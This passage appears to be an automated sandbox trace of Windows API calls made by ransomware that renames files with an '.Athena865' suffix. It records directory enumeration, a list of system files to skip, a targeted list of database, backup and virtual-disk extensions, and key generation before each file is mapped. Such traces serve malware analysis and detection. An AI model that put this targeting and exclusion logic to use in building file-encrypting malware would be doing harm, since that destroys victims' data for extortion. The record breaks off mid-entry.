[0116.917] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=146808) returned 1 [0116.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0116.917] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.918] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.918] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.918] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.919] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24080, lpName=0x0) returned 0x17c [0116.920] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24080) returned 0x170000 [0116.927] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.928] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.928] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.929] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.930] CloseHandle (hObject=0x17c) returned 1 [0116.930] CloseHandle (hObject=0x154) returned 1 [0116.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0116.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.931] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="..") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="windows") returned -1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="bootmgr") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="temp") returned -1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="pagefile.sys") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="boot") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ids.txt") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="ntuser.dat") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="perflogs") returned 1 [0116.931] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="MSBuild") returned 1 [0116.931] lstrlenW (lpString="RECOVR32.CNV") returned 12 [0116.931] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RECOVR32.CNV" | out: lpString1="RECOVR32.CNV") returned="RECOVR32.CNV" [0116.931] lstrlenW (lpString="RECOVR32.CNV") returned 12 [0116.931] lstrlenW (lpString="Athena865") returned 9 [0116.932] lstrcmpiW (lpString1="OVR32.CNV", lpString2="Athena865") returned 1 [0116.932] lstrlenW (lpString=".dll") returned 4 [0116.932] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".dll") returned 1 [0116.932] lstrlenW (lpString=".lnk") returned 4 [0116.932] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".lnk") returned 1 [0116.932] lstrlenW (lpString=".ini") returned 4 [0116.932] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".ini") returned 1 [0116.932] lstrlenW (lpString=".sys") returned 4 [0116.932] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".sys") returned 1 [0116.932] lstrlenW (lpString="RECOVR32.CNV") returned 12 [0116.932] lstrlenW (lpString="bak") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="bak") returned 1 [0116.932] lstrlenW (lpString="ba_") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="ba_") returned 1 [0116.932] lstrlenW (lpString="dbb") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="dbb") returned -1 [0116.932] lstrlenW (lpString="vmdk") returned 4 [0116.932] lstrcmpiW (lpString1=".CNV", lpString2="vmdk") returned -1 [0116.932] lstrlenW (lpString="rar") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="rar") returned -1 [0116.932] lstrlenW (lpString="zip") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="zip") returned -1 [0116.932] lstrlenW (lpString="tgz") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="tgz") returned -1 [0116.932] lstrlenW (lpString="vbox") returned 4 [0116.932] lstrcmpiW (lpString1=".CNV", lpString2="vbox") returned -1 [0116.932] lstrlenW (lpString="vdi") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="vdi") returned -1 [0116.932] lstrlenW (lpString="vhd") returned 3 [0116.932] lstrcmpiW (lpString1="CNV", lpString2="vhd") returned -1 [0116.932] lstrlenW (lpString="vhdx") returned 4 [0116.932] lstrcmpiW (lpString1=".CNV", lpString2="vhdx") returned -1 [0116.933] lstrlenW (lpString="avhd") returned 4 [0116.933] lstrcmpiW (lpString1=".CNV", lpString2="avhd") returned -1 [0116.933] lstrlenW (lpString="db") returned 2 [0116.933] lstrcmpiW (lpString1="NV", lpString2="db") returned 1 [0116.933] lstrlenW (lpString="db2") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="db2") returned -1 [0116.933] lstrlenW (lpString="db3") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="db3") returned -1 [0116.933] lstrlenW (lpString="dbf") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="dbf") returned -1 [0116.933] lstrlenW (lpString="mdf") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="mdf") returned -1 [0116.933] lstrlenW (lpString="mdb") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="mdb") returned -1 [0116.933] lstrlenW (lpString="sql") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="sql") returned -1 [0116.933] lstrlenW (lpString="sqlite") returned 6 [0116.933] lstrcmpiW (lpString1="32.CNV", lpString2="sqlite") returned -1 [0116.933] lstrlenW (lpString="sqlite3") returned 7 [0116.933] lstrcmpiW (lpString1="R32.CNV", lpString2="sqlite3") returned -1 [0116.933] lstrlenW (lpString="sqlitedb") returned 8 [0116.933] lstrcmpiW (lpString1="VR32.CNV", lpString2="sqlitedb") returned 1 [0116.933] lstrlenW (lpString="xml") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="xml") returned -1 [0116.933] lstrlenW (lpString="$er") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="$er") returned 1 [0116.933] lstrlenW (lpString="4dd") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="4dd") returned 1 [0116.933] lstrlenW (lpString="4dl") returned 3 [0116.933] lstrcmpiW (lpString1="CNV", lpString2="4dl") returned 1 [0116.933] lstrlenW (lpString="^^^") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="^^^") returned 1 [0116.934] lstrlenW (lpString="abs") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="abs") returned 1 [0116.934] lstrlenW (lpString="abx") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="abx") returned 1 [0116.934] lstrlenW (lpString="accdb") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accdb") returned -1 [0116.934] lstrlenW (lpString="accdc") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accdc") returned -1 [0116.934] lstrlenW (lpString="accde") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accde") returned -1 [0116.934] lstrlenW (lpString="accdr") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accdr") returned -1 [0116.934] lstrlenW (lpString="accdt") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accdt") returned -1 [0116.934] lstrlenW (lpString="accdw") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accdw") returned -1 [0116.934] lstrlenW (lpString="accft") returned 5 [0116.934] lstrcmpiW (lpString1="2.CNV", lpString2="accft") returned -1 [0116.934] lstrlenW (lpString="adb") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="adb") returned 1 [0116.934] lstrlenW (lpString="adb") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="adb") returned 1 [0116.934] lstrlenW (lpString="ade") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="ade") returned 1 [0116.934] lstrlenW (lpString="adf") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="adf") returned 1 [0116.934] lstrlenW (lpString="adn") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="adn") returned 1 [0116.934] lstrlenW (lpString="adp") returned 3 [0116.934] lstrcmpiW (lpString1="CNV", lpString2="adp") returned 1 [0116.935] lstrlenW (lpString="alf") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="alf") returned 1 [0116.935] lstrlenW (lpString="ask") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="ask") returned 1 [0116.935] lstrlenW (lpString="btr") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="btr") returned 1 [0116.935] lstrlenW (lpString="cat") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="cat") returned 1 [0116.935] lstrlenW (lpString="cdb") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="cdb") returned 1 [0116.935] lstrlenW (lpString="ckp") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="ckp") returned 1 [0116.935] lstrlenW (lpString="cma") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="cma") returned 1 [0116.935] lstrlenW (lpString="cpd") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="cpd") returned -1 [0116.935] lstrlenW (lpString="dacpac") returned 6 [0116.935] lstrcmpiW (lpString1="32.CNV", lpString2="dacpac") returned -1 [0116.935] lstrlenW (lpString="dad") returned 3 [0116.935] lstrcmpiW (lpString1="CNV", lpString2="dad") returned -1 [0116.935] lstrlenW (lpString="dadiagrams") returned 10 [0116.935] lstrcmpiW (lpString1="COVR32.CNV", lpString2="dadiagrams") returned -1 [0116.935] lstrlenW (lpString="daschema") returned 8 [0116.935] lstrcmpiW (lpString1="VR32.CNV", lpString2="daschema") returned 1 [0116.935] lstrlenW (lpString="db-journal") returned 10 [0116.935] lstrcmpiW (lpString1="COVR32.CNV", lpString2="db-journal") returned -1 [0116.935] lstrlenW (lpString="db-shm") returned 6 [0116.935] lstrcmpiW (lpString1="32.CNV", lpString2="db-shm") returned -1 [0116.935] lstrlenW (lpString="db-wal") returned 6 [0116.935] lstrcmpiW (lpString1="32.CNV", lpString2="db-wal") returned -1 [0116.935] lstrlenW (lpString="dbc") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dbc") returned -1 [0116.936] lstrlenW (lpString="dbs") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dbs") returned -1 [0116.936] lstrlenW (lpString="dbt") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dbt") returned -1 [0116.936] lstrlenW (lpString="dbv") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dbv") returned -1 [0116.936] lstrlenW (lpString="dbx") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dbx") returned -1 [0116.936] lstrlenW (lpString="dcb") returned 3 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dcb") returned -1 [0116.936] lstrcmpiW (lpString1="CNV", lpString2="dct") returned -1 [0116.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Athena865") returned 78 [0116.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.athena865"), dwFlags=0x1) returned 1 [0116.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.938] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36712) returned 1 [0116.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0116.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.939] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.939] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9270, lpName=0x0) returned 0x17c [0116.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9270) returned 0x100000 [0116.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.945] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.945] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.945] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.946] CloseHandle (hObject=0x17c) returned 1 [0116.946] CloseHandle (hObject=0x154) returned 1 [0116.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0116.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.946] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0116.946] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.946] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="..") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="windows") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="bootmgr") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="temp") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="pagefile.sys") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="boot") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ids.txt") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="ntuser.dat") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="perflogs") returned 1 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="MSBuild") returned 1 [0116.947] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0116.947] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Wks9Pxy.cnv" | out: lpString1="Wks9Pxy.cnv") returned="Wks9Pxy.cnv" [0116.947] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0116.947] lstrlenW (lpString="Athena865") returned 9 [0116.947] lstrcmpiW (lpString1="s9Pxy.cnv", lpString2="Athena865") returned 1 [0116.947] lstrlenW (lpString=".dll") returned 4 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".dll") returned 1 [0116.947] lstrlenW (lpString=".lnk") returned 4 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".lnk") returned 1 [0116.947] lstrlenW (lpString=".ini") returned 4 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".ini") returned 1 [0116.947] lstrlenW (lpString=".sys") returned 4 [0116.947] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".sys") returned 1 [0116.947] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0116.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Athena865") returned 77 [0116.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.athena865"), dwFlags=0x1) returned 1 [0116.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.949] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57248) returned 1 [0116.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0116.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.950] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.950] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.951] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.951] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2a0, lpName=0x0) returned 0x17c [0116.953] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe2a0) returned 0x100000 [0116.963] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.964] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.964] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.965] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.966] CloseHandle (hObject=0x17c) returned 1 [0116.966] CloseHandle (hObject=0x154) returned 1 [0116.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0116.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.966] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="..") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="windows") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="bootmgr") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="temp") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="pagefile.sys") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="boot") returned 1 [0116.966] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ids.txt") returned 1 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="ntuser.dat") returned 1 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="perflogs") returned 1 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="MSBuild") returned 1 [0116.967] lstrlenW (lpString="WPFT532.CNV") returned 11 [0116.967] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WPFT532.CNV" | out: lpString1="WPFT532.CNV") returned="WPFT532.CNV" [0116.967] lstrlenW (lpString="WPFT532.CNV") returned 11 [0116.967] lstrlenW (lpString="Athena865") returned 9 [0116.967] lstrcmpiW (lpString1="FT532.CNV", lpString2="Athena865") returned 1 [0116.967] lstrlenW (lpString=".dll") returned 4 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".dll") returned 1 [0116.967] lstrlenW (lpString=".lnk") returned 4 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".lnk") returned 1 [0116.967] lstrlenW (lpString=".ini") returned 4 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".ini") returned 1 [0116.967] lstrlenW (lpString=".sys") returned 4 [0116.967] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".sys") returned 1 [0116.967] lstrlenW (lpString="WPFT532.CNV") returned 11 [0116.967] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Athena865") returned 